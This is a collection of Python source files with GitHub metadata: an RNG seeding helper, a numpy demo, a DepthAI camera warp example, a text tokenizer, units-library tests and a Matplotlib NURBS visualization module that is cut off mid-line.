{"text": "import random\n\nimport torch\nimport numpy as np\n\n\ndef seed_generators(seed: int):\n  r\"\"\"\n  Seed random number generators from various packages.\n\n  :param int seed: The seed to initialise.\n  \"\"\"\n\n  random.seed(seed)\n  np.random.seed(seed)\n  torch.random.manual_seed(seed)\n\n  if torch.cuda.is_available():\n    torch.cuda.manual_seed_all(seed)\n", "meta": {"hexsha": "af3c79035a11b3399d7c90c6e693b6299f30b12a", "size": 340, "ext": "py", "lang": "Python", "max_stars_repo_path": "ddpw/gpu_setup/__seed.py", "max_stars_repo_name": "sujaltv/ddp", "max_stars_repo_head_hexsha": "fb6c54e1066ceb6cc6530e98bb93d2874cd6b9e8", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-02-07T21:14:42.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-07T21:14:42.000Z", "max_issues_repo_path": "ddpw/gpu_setup/__seed.py", "max_issues_repo_name": "sujaltv/ddp", "max_issues_repo_head_hexsha": "fb6c54e1066ceb6cc6530e98bb93d2874cd6b9e8", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "ddpw/gpu_setup/__seed.py", "max_forks_repo_name": "sujaltv/ddp", "max_forks_repo_head_hexsha": "fb6c54e1066ceb6cc6530e98bb93d2874cd6b9e8", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 17.0, "max_line_length": 54, "alphanum_fraction": 0.7264705882, "include": true, "reason": "import numpy", "num_tokens": 77, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.46490157137338844, "lm_q2_score": 0.11124120061463458, "lm_q1q2_score": 0.05171620896720596}}
{"text": "#!/usr/bin/env python3\r\n# -*- coding: utf-8 -*-\r\n# @Date    : Apr-30-20 21:07\r\n# @Author  : Your Name (you@example.org)\r\n# @Link    : http://example.org\r\n\r\nimport os\r\nimport numpy as np\r\n\r\n\r\ndef main():\r\n    a = np.asarray([1, 2, 3])\r\n    b = 1\r\n    print(a-b)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n", "meta": {"hexsha": "e52845a6050ef0233e4c36dfc753cf23d6221afe", "size": 306, "ext": "py", "lang": "Python", "max_stars_repo_path": "numpy_basics/subtract-test.py", "max_stars_repo_name": "AI-Huang/deeplearning_basics", "max_stars_repo_head_hexsha": "0c0f45daaab42a25d2cd047cbecdca4f4bc7df59", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-12-27T08:43:59.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-27T08:43:59.000Z", "max_issues_repo_path": "numpy_basics/subtract-test.py", "max_issues_repo_name": "AI-Huang/deeplearning_basics", "max_issues_repo_head_hexsha": "0c0f45daaab42a25d2cd047cbecdca4f4bc7df59", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "numpy_basics/subtract-test.py", "max_forks_repo_name": "AI-Huang/deeplearning_basics", "max_forks_repo_head_hexsha": "0c0f45daaab42a25d2cd047cbecdca4f4bc7df59", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 16.1052631579, "max_line_length": 41, "alphanum_fraction": 0.522875817, "include": true, "reason": "import numpy", "num_tokens": 100, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48438008427698437, "lm_q2_score": 0.10669060388702056, "lm_q1q2_score": 0.051678803702357376}}
{"text": "#!/usr/bin/env python3\n\n\"\"\"\nThis example shows usage of ImageManip to crop a rotated rectangle area on a frame,\nor perform various image transforms: rotate, mirror, flip, perspective transform.\n\"\"\"\n\nimport depthai as dai\nimport cv2\nimport numpy as np\n\nkeyRotateDecr = 'z'\nkeyRotateIncr = 'x'\nkeyResizeInc = 'v'\nkeyWarpTestCycle = 'c'\n\ndef printControls():\n    print(\"=== Controls:\")\n    print(keyRotateDecr, \"-rotated rectangle crop, decrease rate\")\n    print(keyRotateIncr, \"-rotated rectangle crop, increase rate\")\n    print(keyWarpTestCycle, \"-warp 4-point transform, cycle through modes\")\n    print(keyResizeInc, \"-resize cropped region, or disable resize\")\n    print(\"h -print controls (help)\")\n\nrotateRateMax = 5.0\nrotateRateInc = 0.1\n\nresizeMaxW = 800\nresizeMaxH = 600\nresizeFactorMax = 5\n\n'''\nThe crop points are specified in clockwise order,\nwith first point mapped to output top-left, as:\n    P0  ->  P1\n     ^       v\n    P3  <-  P2\n'''\nP0 = [0, 0]  # top-left\nP1 = [1, 0]  # top-right\nP2 = [1, 1]  # bottom-right\nP3 = [0, 1]  # bottom-left\n\nwarpList = [\n    # points order, normalized cordinates, description\n    # [[[0, 0], [1, 0], [1, 1], [0, 1]], True, \"passthrough\"],\n    # [[[0, 0], [639, 0], [639, 479], [0, 479]], False, \"passthrough (pixels)\"],\n    [[P0, P1, P2, P3], True, \"1. passthrough\"],\n    [[P3, P0, P1, P2], True, \"2. rotate 90\"],\n    [[P2, P3, P0, P1], True, \"3. rotate 180\"],\n    [[P1, P2, P3, P0], True, \"4. rotate 270\"],\n    [[P1, P0, P3, P2], True, \"5. horizontal mirror\"],\n    [[P3, P2, P1, P0], True, \"6. vertical flip\"],\n    [[[-0.1, -0.1], [1.1, -0.1], [1.1, 1.1], [-0.1, 1.1]], True, \"7. add black borders\"],\n    [[[-0.3, 0], [1, 0], [1.3, 1], [0, 1]], True, \"8. parallelogram transform\"],\n    [[[-0.2, 0], [1.8, 0], [1, 1], [0, 1]], True, \"9. trapezoid transform\"],\n]\n\n# Create pipeline\npipeline = dai.Pipeline()\n\n# Define sources and outputs\ncamRgb = pipeline.createColorCamera()\nmanip = pipeline.createImageManip()\n\ncamOut = pipeline.createXLinkOut()\nmanipOut = pipeline.createXLinkOut()\nmanipCfg = pipeline.createXLinkIn()\n\ncamOut.setStreamName(\"preview\")\nmanipOut.setStreamName(\"manip\")\nmanipCfg.setStreamName(\"manipCfg\")\n\n# Properties\ncamRgb.setPreviewSize(640, 480)\ncamRgb.setResolution(dai.ColorCameraProperties.SensorResolution.THE_1080_P)\ncamRgb.setInterleaved(False)\ncamRgb.setColorOrder(dai.ColorCameraProperties.ColorOrder.BGR)\nmanip.setMaxOutputFrameSize(2000 * 1500 * 3)\n\n# Linking\ncamRgb.preview.link(camOut.input)\ncamRgb.preview.link(manip.inputImage)\nmanip.out.link(manipOut.input)\nmanipCfg.out.link(manip.inputConfig)\n\n# Connect to device and start pipeline\nwith dai.Device(pipeline) as device:\n\n    # Create input & output queues\n    qPreview = device.getOutputQueue(name=\"preview\", maxSize=4)\n    qManip = device.getOutputQueue(name=\"manip\", maxSize=4)\n    qManipCfg = device.getInputQueue(name=\"manipCfg\")\n\n    key = -1\n    angleDeg = 0\n    rotateRate = 1.0\n    resizeFactor = 0\n    resizeX = 0\n    resizeY = 0\n    testFourPt = False\n    warpIdx = -1\n\n    printControls()\n\n    while key != ord('q'):\n        if key > 0:\n            print(\"Pressed: \", key)\n            if key == ord(keyRotateDecr) or key == ord(keyRotateIncr):\n                if key == ord(keyRotateDecr):\n                    if rotateRate > -rotateRateMax:\n                        rotateRate -= rotateRateInc\n                if key == ord(keyRotateIncr):\n                    if rotateRate < rotateRateMax:\n                        rotateRate += rotateRateInc\n                testFourPt = False\n                print(\"Crop rotated rectangle, rate per frame: {:.1f} degrees\".format(rotateRate))\n            elif key == ord(keyResizeInc):\n                resizeFactor += 1\n                if resizeFactor > resizeFactorMax:\n                    resizeFactor = 0\n                    print(\"Crop region not resized\")\n                else:\n                    resizeX = resizeMaxW // resizeFactor\n                    resizeY = resizeMaxH // resizeFactor\n                    print(\"Crop region resized to: \", resizeX, 'x', resizeY)\n            elif key == ord(keyWarpTestCycle):\n                # Disable resizing initially\n                resizeFactor = 0\n                warpIdx = (warpIdx + 1) % len(warpList)\n                testFourPt = True\n                testDescription = warpList[warpIdx][2]\n                print(\"Warp 4-point transform: \", testDescription)\n            elif key == ord('h'):\n                printControls()\n\n        # Send an updated config with continuous rotate, or after a key press\n        if key >= 0 or (not testFourPt and abs(rotateRate) > 0.0001):\n            cfg = dai.ImageManipConfig()\n            if testFourPt:\n                test = warpList[warpIdx]\n                points, normalized = test[0], test[1]\n                point2fList = []\n                for p in points:\n                    pt = dai.Point2f()\n                    pt.x, pt.y = p[0], p[1]\n                    point2fList.append(pt)\n                cfg.setWarpTransformFourPoints(point2fList, normalized)\n            else:\n                angleDeg += rotateRate\n                rotatedRect = ((320, 240), (400, 400), angleDeg)\n                rr = dai.RotatedRect()\n                rr.center.x, rr.center.y = rotatedRect[0]\n                rr.size.width, rr.size.height = rotatedRect[1]\n                rr.angle = rotatedRect[2]\n                cfg.setCropRotatedRect(rr, False)\n            if resizeFactor > 0:\n                cfg.setResize(resizeX, resizeY)\n            # cfg.setWarpBorderFillColor(255, 0, 0)\n            # cfg.setWarpBorderReplicatePixels()\n            qManipCfg.send(cfg)\n\n        for q in [qPreview, qManip]:\n            pkt = q.get()\n            name = q.getName()\n            shape = (3, pkt.getHeight(), pkt.getWidth())\n            frame = pkt.getCvFrame()\n            if name == \"preview\" and not testFourPt:\n                # Draw RotatedRect cropped area on input frame\n                points = np.int0(cv2.boxPoints(rotatedRect))\n                cv2.drawContours(frame, [points], 0, (255, 0, 0), 1)\n                # Mark top-left corner\n                cv2.circle(frame, tuple(points[1]), 10, (255, 0, 0), 2)\n            cv2.imshow(name, frame)\n        key = cv2.waitKey(1)\n", "meta": {"hexsha": "5e9bfc48762614f2506979c001a5b8a3571ec74b", "size": 6229, "ext": "py", "lang": "Python", "max_stars_repo_path": "examples/rgb_rotate_warp.py", "max_stars_repo_name": "ic/depthai-python", "max_stars_repo_head_hexsha": "fe6424277641dbff0f0fe705ddacdbb04a7bf06d", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "examples/rgb_rotate_warp.py", "max_issues_repo_name": "ic/depthai-python", "max_issues_repo_head_hexsha": "fe6424277641dbff0f0fe705ddacdbb04a7bf06d", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "examples/rgb_rotate_warp.py", "max_forks_repo_name": "ic/depthai-python", "max_forks_repo_head_hexsha": "fe6424277641dbff0f0fe705ddacdbb04a7bf06d", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.3920454545, "max_line_length": 98, "alphanum_fraction": 0.5772997271, "include": true, "reason": "import numpy", "num_tokens": 1730, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48438008427698437, "lm_q2_score": 0.10669059678604237, "lm_q1q2_score": 0.05167880026278496}}
{"text": "from torchtext import vocab, data\nimport numpy as np\nfrom niklib.utils import pad_sequences\n#from torchtext.datasets import language_modeling\n#from spacy import spacy\n# Download spacy package if does not have\n#!python -m spacy download en\nimport string\nimport re\nfrom falib.text import Tokenizer\n\nclass TextProcessor(object):\n    \n    def __init__(self, w2v, tokenize_fn=None, max_pad=50):\n        self.w2v, self.tokenize_fn, self.max_pad = w2v, tokenize_fn, max_pad\n        self.re_tok = re.compile(f'([{string.punctuation}\u201c\u201d\u00a8\u00ab\u00bb\u00ae\u00b4\u00b7\u00ba\u00bd\u00be\u00bf\u00a1\u00a7\u00a3\u20a4\u2018\u2019])')\n        self.fastai_tok = Tokenizer()\n        if tokenize_fn is None:\n            TEXT = data.Field(lower=True, tokenize=self.tokenize)\n            self.tokenize_fn = TEXT.preprocess\n\n    def text2features(self, texts):\n        if isinstance(texts, str): texts = [texts]\n        tk_texts = [self.tokenize_fn(txt) for txt in texts]\n        lens = np.array([len(txt) for txt in tk_texts])\n        minl, maxl, meanl = lens.min(), lens.max(), lens.mean()\n        print(f'Text length: min={minl}, max={maxl}, mean={meanl}')\n        print(f'Padding all text to have fixed length = {self.max_pad}')\n        \n        xs = [[self.w2v.word2idx(word) for word in txt if self.w2v.word2idx(word) > 0] for txt in tk_texts]\n        xs = pad_sequences(xs, maxlen=self.max_pad, padding='pre', truncating='post')\n        xs = np.asarray(xs)\n        return xs\n    \n    def __repr__(self):\n        summary  = f'Tokenize function: {self.tokenize_fn.__name__} \\n' \n        summary += f'Max zero-padding len: {self.max_pad} \\n'\n        return summary\n    \n    def split_by_punctuation(self, s): return self.re_tok.sub(r' ', s).split()\n\n    def split_by_popularity(self, word):\n        unknown_pop_score = self.w2v.n_vocabs\n        if self.w2v.word2idx(word) > 0:\n            return self.w2v.word2idx(word), [word]\n\n        if len(word)<=5:\n            return unknown_pop_score, [word]\n\n        if (word.replace('.','',1).replace(',','',1).isdigit()):\n            return unknown_pop_score, [word] # Don't care about digit\n\n        best_pop_score = unknown_pop_score\n        best_split = None\n        best_nsplit = 3 # Max split to split\n        for i_cut in range(len(word)-2, 1, -1):\n            prefix, core = word[:i_cut], word[i_cut:]\n\n            if self.w2v.word2idx(core) < 0:\n                continue\n            core_score = self.w2v.word2idx(core)\n\n            if self.w2v.word2idx(prefix) < 0:\n                prefix_score, prefix = self.split_by_popularity(prefix)\n            else:\n                prefix_score, prefix = self.w2v.word2idx(prefix), [prefix]                \n            if (prefix_score >= unknown_pop_score): # Don't split if all splitted words are good\n                continue\n            pop_score = prefix_score + core_score\n            words = prefix; words.append(core)\n\n            if len(words) > best_nsplit: continue # Don't split more than best_nsplit\n            if (len(words) < best_nsplit) or (pop_score < best_pop_score):\n                #print(prefix, prefix_score, core_score, pop_score)\n                best_split = words\n                best_nsplit= len(words)\n                best_pop_score = pop_score\n\n        if best_split is None:\n            return (unknown_pop_score, [word])\n        else:\n            return (best_pop_score, best_split)\n\n    # TODO: Add new word to w2v with random vector if can't split well\n    # TODO: Remove unpopular words from w2v, add special token for numbers or irrelevant words\n   \n    def tokenize(self, text):\n        t = self.fastai_tok.spacy_tok(text)\n        new_t = []\n        for word in t:\n            new_t.extend(self.split_by_punctuation(word))\n        t = new_t\n        new_t = []\n        for word in t:\n            word = word.lower()\n            pop_score, words = self.split_by_popularity(word)\n            new_t.extend(words)\n            #if self.w2v.word2idx(word) < 0:\n            #    print(words)\n        return new_t\n\n", "meta": {"hexsha": "a334573bc2cdbd9b83f7e4bafc1f10babdfe7cbc", "size": 3945, "ext": "py", "lang": "Python", "max_stars_repo_path": "courses/nik/niklib/processor_text.py", "max_stars_repo_name": "Nikasa1889/fastai", "max_stars_repo_head_hexsha": "6635edbec85ef9f748dc6da6a7651c43f1c4a182", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "courses/nik/niklib/processor_text.py", "max_issues_repo_name": "Nikasa1889/fastai", "max_issues_repo_head_hexsha": "6635edbec85ef9f748dc6da6a7651c43f1c4a182", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "courses/nik/niklib/processor_text.py", "max_forks_repo_name": "Nikasa1889/fastai", "max_forks_repo_head_hexsha": "6635edbec85ef9f748dc6da6a7651c43f1c4a182", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.6764705882, "max_line_length": 107, "alphanum_fraction": 0.6032953105, "include": true, "reason": "import numpy", "num_tokens": 987, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44552953503957277, "lm_q2_score": 0.115960721309117, "lm_q1q2_score": 0.05166392624770438}}
{"text": "import pytest\nfrom pytest import approx\nfrom typeguard import typechecked\nimport numpy as np\nimport pandas as pd\n\n\nfrom encomp.units import Quantity, Q, wraps, check, DimensionalityError\nfrom encomp.utypes import *\n\n\ndef test_Q():\n\n    # test that Quantity objects can be constructed\n    Q(1, 'dimensionless')\n    Q(1, 'kg')\n    Q(1, 'bar')\n    Q(1, 'h')\n    Q(1, 'newton')\n    Q(1, 'cSt')\n\n    # make sure that the alias Q behaves identically to Quantity\n    assert Q(1) == Quantity(1)\n    assert type(Q(1)) is type(Quantity(1))\n    assert type(Q) is type(Quantity)\n\n    # ensure that the inputs can be nested\n    Q(Q(1, 'kg'))\n    mass = Q(12, 'kg')\n    Q(Q(Q(Q(mass))))\n    Q(Q(Q(Q(mass), 'lbs')))\n    Q(Q(Q(Q(mass), 'lbs')), 'stone')\n\n    # no unit input defaults to dimensionless\n    assert Q(12).check('')\n    assert Q(1) == Q(100, '%')\n    Q['Dimensionless'](21)\n    assert isinstance(Q(21), Q['Dimensionless'])\n\n    assert Q(1) == Q('1')\n    assert Q(1) == Q('\\n1\\n')\n    assert Q(1) == Q('1 dimensionless')\n\n    # check type of \"m\"\n    assert isinstance(Q(1, 'meter').m, int)\n    assert isinstance(Q(2.3, 'meter').m, float)\n    assert isinstance(Q([2, 3.4], 'meter').m, np.ndarray)\n    assert isinstance(Q(np.array([2, 3.4]), 'meter').m, np.ndarray)\n\n    # input Quantity as unit\n    Q(1, Q(2, 'bar'))\n\n    # input Quantity as val\n    Q(Q(2, 'bar'), 'kPa')\n\n    # input Quantity as both val and unit\n    Q(Q(2, 'bar'), Q(3, 'kPa'))\n    Q(Q(2, 'bar'), Q(3, 'mmHg'))\n\n    # check that the dimensionality constraints work\n    Q[Length](1, 'm')\n    Q[Pressure](1, 'kPa')\n    Q[Temperature](1, '\u00b0C')\n\n    # the dimensionalities can also be specified as strings\n    Q['Temperature'](1, '\u00b0C')\n\n    P = Q(1, 'bar')\n    # this Quantity must have the same dimensionality as P\n    Q[P](2, 'kPa')\n\n    with pytest.raises(DimensionalityError):\n        Q[Temperature](1, 'kg')\n        Q[Pressure](1, 'meter')\n        Q[Mass](1, P)\n\n    # in-place conversion\n    # NOTE: don't use this for objects that are passed in by the user\n    P3 = Q(1, 'bar')\n    P3.ito('kPa')\n    P3.ito(Q(123123, 'kPa'))\n\n    assert P3.m == approx(100, rel=1e-12)\n\n    # test conversions to np.ndarray with int/float dtypes\n    a = Q([1, 2, 3], 'bar')\n    a.ito('kPa')\n\n    a = Q(np.array([1, 2, 3.0]), 'bar')\n    a.ito('kPa')\n\n    a = Q(np.array([1.0, 2.0, 3.0]), 'bar')\n    a.ito('kPa')\n\n    # conversion to new object\n    P4 = Q(1, 'bar')\n    P4_b = P4.to('kPa')\n    P4_b = P4.to(Q(123123, 'kPa'))\n\n    assert P4_b.m == approx(100, rel=1e-12)\n\n    assert Q(1, 'bar') == Q(100, 'kPa') == Q('0.1 MPa') == Q('1e5', 'Pa')\n\n    # check that nested Quantity objects can be used as input\n    # only the first value is used as magnitude, the other Quantity\n    # objects are only used to determine unit\n    P2 = Q(Q(2, 'feet_water'), Q(321321, 'kPa')).to(Q(123123, 'feet_water'))\n\n    # floating point math might make this off at the N:th decimal\n    assert P2.m == approx(2, rel=1e-12)\n    assert isinstance(P2, Q['Pressure'])\n\n    with pytest.raises(Exception):\n\n        # incorrect dimensionalities should raise Exception\n        Q(Q(2, 'feet_water'), Q(321321, 'kg')).to(Q(123123, 'feet_water'))\n\n    # the UnitsContainer objects can be used to construct new dimensionalities\n    Q[Length * Length * Length / Temperature](1, 'm\u00b3/K')\n\n    with pytest.raises(Exception):\n        Q[Pressure / Area](1, 'bar/m')\n\n    # percent or %\n    Q(1.124124e-3, '').to('%').to('percent')\n    Q(1.124124e-3).to('%').to('percent')\n\n    # pd.Series is converted to np.ndarray\n    vals = [2, 3, 4]\n    s = pd.Series(vals, name='Pressure')\n    arr = Q(s, 'bar').to('kPa').m\n    assert isinstance(arr, np.ndarray)\n    assert arr[0] == 200\n\n    # np.ndarray magnitudes equality check\n    assert (Q(s, 'bar') == Q(vals, 'bar').to('kPa')).all()\n\n    # support a single string as input if the\n    # magnitude and units are separated by one or more spaces\n    assert Q('1 meter').check(Length)\n    assert Q('1 meter per second').check(Velocity)\n    assert (Q('1 m') ** 3).check(Volume)\n\n\ndef test_wraps():\n\n    # @wraps(ret, args, strict=True|False) is a convenience\n    # decorator for making the input/output of a function into Quantity\n    # however, it does not enforce the return value\n\n    @wraps('kg', ('m', 'kg'), strict=True)\n    def func(a, b):\n\n        # this is incorrect, cannot add 1 to a dimensional Quantity\n        return a * b**2 + 1\n\n    assert isinstance(func(Q(1, 'yd'), Q(20, 'lbs')), Q['Mass'])\n    assert Q(1, 'bar').check(Pressure)\n\n\ndef test_check():\n\n    assert not Q(1, 'kg').check('[energy]')\n    assert Q(1, 'kg').check(Mass)\n    assert not Q(1, 'kg').check(Energy)\n\n    @check('[length]', '[mass]')\n    def func(a, b):\n\n        return a * b\n\n    func(Q(1, 'yd'), Q(20, 'lbs'))\n\n\ndef test_typechecked():\n\n    @typechecked\n    def func_a(a: Quantity['Temperature']) -> Quantity['Pressure']:\n        return Q(2, 'bar')\n\n    assert func_a(Q(2, 'degC')) == Q(2, 'bar')\n\n    with pytest.raises(TypeError):\n        func_a(Q(2, 'meter'))\n\n    @typechecked\n    def func_b(a: Quantity) -> Quantity['Pressure']:\n        return a\n\n    assert func_b(Q(2, 'bar')) == Q(2, 'bar')\n    assert func_b(Q(2, 'psi')) == Q(2, 'psi')\n    assert func_b(Q(2, 'mmHg')) == Q(2, 'mmHg')\n\n    with pytest.raises(TypeError):\n        func_a(Q(2, 'meter'))\n", "meta": {"hexsha": "f207185ab901074e6dcb66237d11727af1708df5", "size": 5299, "ext": "py", "lang": "Python", "max_stars_repo_path": "encomp/tests/test_units.py", "max_stars_repo_name": "wlaur/encomp", "max_stars_repo_head_hexsha": "236eb32d300e0deea5b05fcc46b06e13cb480838", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-01-29T22:05:50.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-29T22:05:50.000Z", "max_issues_repo_path": "encomp/tests/test_units.py", "max_issues_repo_name": "wlaur/encomp", "max_issues_repo_head_hexsha": "236eb32d300e0deea5b05fcc46b06e13cb480838", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "encomp/tests/test_units.py", "max_forks_repo_name": "wlaur/encomp", "max_forks_repo_head_hexsha": "236eb32d300e0deea5b05fcc46b06e13cb480838", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 27.0357142857, "max_line_length": 78, "alphanum_fraction": 0.5853934705, "include": true, "reason": "import numpy", "num_tokens": 1691, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.45713671682749485, "lm_q2_score": 0.1127954033004973, "lm_q1q2_score": 0.05156292033802251}}
{"text": "\"\"\"\n.. module:: VisMPL\n    :platform: Unix, Windows\n    :synopsis: Matplotlib visualization component for NURBS-Python\n\n.. moduleauthor:: Onur Rauf Bingol <orbingol@gmail.com>\n\n\"\"\"\n\nfrom geomdl import vis\nimport numpy as np\nimport matplotlib as mpl\nimport matplotlib.tri as mpltri\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom mpl_toolkits.mplot3d.art3d import Poly3DCollection\nfrom matplotlib import animation\n\n\nclass VisConfig(vis.VisConfigAbstract):\n    \"\"\" Configuration class for Matplotlib visualization module.\n\n    This class is only required when you would like to change the visual defaults of the plots and the figure,\n    such as hiding control points plot or legend.\n\n    The ``VisMPL`` module has the following configuration variables:\n\n    * ``ctrlpts`` (bool): Control points polygon/grid visibility. *Default: True*\n    * ``evalpts`` (bool): Curve/surface points visibility. *Default: True*\n    * ``bbox`` (bool): Bounding box visibility. *Default: False*\n    * ``legend`` (bool): Figure legend visibility. *Default: True*\n    * ``axes`` (bool): Axes and figure grid visibility. *Default: True*\n    * ``labels`` (bool): Axis labels visibility. *Default: True*\n    * ``trims`` (bool): Trim curves visibility. *Default: True*\n    * ``axes_equal`` (bool): Enables or disables equal aspect ratio for the axes. *Default: True*\n    * ``figure_size`` (list): Size of the figure in (x, y). *Default: [10, 8]*\n    * ``figure_dpi`` (int): Resolution of the figure in DPI. *Default: 96*\n    * ``trim_size`` (int): Size of the trim curves. *Default: 20*\n    * ``alpha`` (float): Opacity of the evaluated points. *Default: 1.0*\n\n    There is also a ``debug`` configuration variable which currently adds quiver plots to 2-dimensional curves to show\n    their directions.\n\n    The following example illustrates the usage of the configuration class.\n\n    .. code-block:: python\n        :linenos:\n\n        # Create a curve (or a surface) instance\n        curve = NURBS.Curve()\n\n        # Skipping degree, knot vector and control points assignments\n\n        # Create a visualization configuration instance with no legend, no axes and set the resolution to 120 dpi\n        vis_config = VisMPL.VisConfig(legend=False, axes=False, figure_dpi=120)\n\n        # Create a visualization method instance using the configuration above\n        vis_obj = VisMPL.VisCurve2D(vis_config)\n\n        # Set the visualization method of the curve object\n        curve.vis = vis_obj\n\n        # Plot the curve\n        curve.render()\n\n    Please refer to the **Examples Repository** for more details.\n    \"\"\"\n\n    def __init__(self, **kwargs):\n        super(VisConfig, self).__init__(**kwargs)\n        self.dtype = np.float\n        self.display_ctrlpts = kwargs.get('ctrlpts', True)\n        self.display_evalpts = kwargs.get('evalpts', True)\n        self.display_bbox = kwargs.get('bbox', False)\n        self.display_legend = kwargs.get('legend', True)\n        self.display_axes = kwargs.get('axes', True)\n        self.display_labels = kwargs.get('labels', True)\n        self.display_trims = kwargs.get('trims', True)\n        self.axes_equal = kwargs.get('axes_equal', True)\n        self.figure_size = kwargs.get('figure_size', [10, 8])\n        self.figure_dpi = kwargs.get('figure_dpi', 96)\n        self.trim_size = kwargs.get('trim_size', 20)\n        self.alpha = kwargs.get('alpha', 1.0)\n        self.figure_image_filename = \"temp-figure.png\"\n        self.debug_mode = kwargs.get('debug', False)  # debugging mode for determining the trim directions\n\n    @staticmethod\n    def set_axes_equal(ax):\n        \"\"\" Sets equal aspect ratio across the three axes of a 3D plot.\n\n        Contributed by Xuefeng Zhao.\n\n        :param ax: a Matplotlib axis, e.g., as output from plt.gca().\n        \"\"\"\n        bounds = [ax.get_xlim3d(), ax.get_ylim3d(), ax.get_zlim3d()]\n        ranges = [abs(bound[1] - bound[0]) for bound in bounds]\n        centers = [np.mean(bound) for bound in bounds]\n        radius = 0.5 * max(ranges)\n        lower_limits = centers - radius\n        upper_limits = centers + radius\n        ax.set_xlim3d([lower_limits[0], upper_limits[0]])\n        ax.set_ylim3d([lower_limits[1], upper_limits[1]])\n        ax.set_zlim3d([lower_limits[2], upper_limits[2]])\n\n    @staticmethod\n    def save_figure_as(fig, filename):\n        \"\"\" Saves the figure as a file.\n\n        :param fig: a Matplotlib figure instance\n        :param filename: file name to save\n        \"\"\"\n        if filename is not None:\n            fig.savefig(str(filename), bbox_inches='tight')\n\n    def is_notebook(self):\n        \"\"\" Detects if Jupyter notebook GUI toolkit is active\n\n        return: True if the module is running inside a Jupyter notebook\n        rtype: bool\n        \"\"\"\n        return True if \"nbAgg\" == mpl.get_backend() else False\n\n\nclass VisCurve2D(vis.VisAbstract):\n    \"\"\" Matplotlib visualization module for 2D curves \"\"\"\n    def __init__(self, config=VisConfig(), **kwargs):\n        super(VisCurve2D, self).__init__(config, **kwargs)\n\n    def render(self, **kwargs):\n        \"\"\" Plots the 2D curve and the control points polygon. \"\"\"\n        # Calling parent function\n        super(VisCurve2D, self).render(**kwargs)\n\n        # Initialize variables\n        legend_proxy = []\n        legend_names = []\n\n        # Draw control points polygon and the curve\n        fig = plt.figure(figsize=self.vconf.figure_size, dpi=self.vconf.figure_dpi)\n        ax = fig.gca()\n\n        # Start plotting\n        for plot in self._plots:\n            pts = np.array(plot['ptsarr'], dtype=self.vconf.dtype)\n            # Plot control points\n            if plot['type'] == 'ctrlpts' and self.vconf.display_ctrlpts:\n                cpplot, = plt.plot(pts[:, 0], pts[:, 1], color=plot['color'], linestyle='-.', marker='o')\n                legend_proxy.append(cpplot)\n                legend_names.append(plot['name'])\n\n            # Plot evaluated points\n            if plot['type'] == 'evalpts' and self.vconf.display_evalpts:\n                curveplt, = plt.plot(pts[:, 0], pts[:, 1], color=plot['color'], linestyle='-', alpha=self.vconf.alpha)\n                legend_proxy.append(curveplt)\n                legend_names.append(plot['name'])\n                # Debugging for curve directions\n                if self.vconf.debug_mode:\n                    plt.quiver(pts[0, 0], pts[0, 1], pts[-1, 0] - pts[0, 0], pts[-1, 1] - pts[0, 1],\n                               color='k', angles='xy', scale_units='xy', scale=1, width=0.003)\n\n            # Plot bounding box\n            if plot['type'] == 'bbox' and self.vconf.display_bbox:\n                bboxplt, = plt.plot(pts[:, 0], pts[:, 1], color=plot['color'], linestyle='--')\n                legend_proxy.append(bboxplt)\n                legend_names.append(plot['name'])\n\n            # Plot extras\n            if plot['type'] == 'extras':\n                extrasplt, = plt.plot(pts[:, 0], pts[:, 1],\n                                      color=plot['color'][0], linestyle='-', 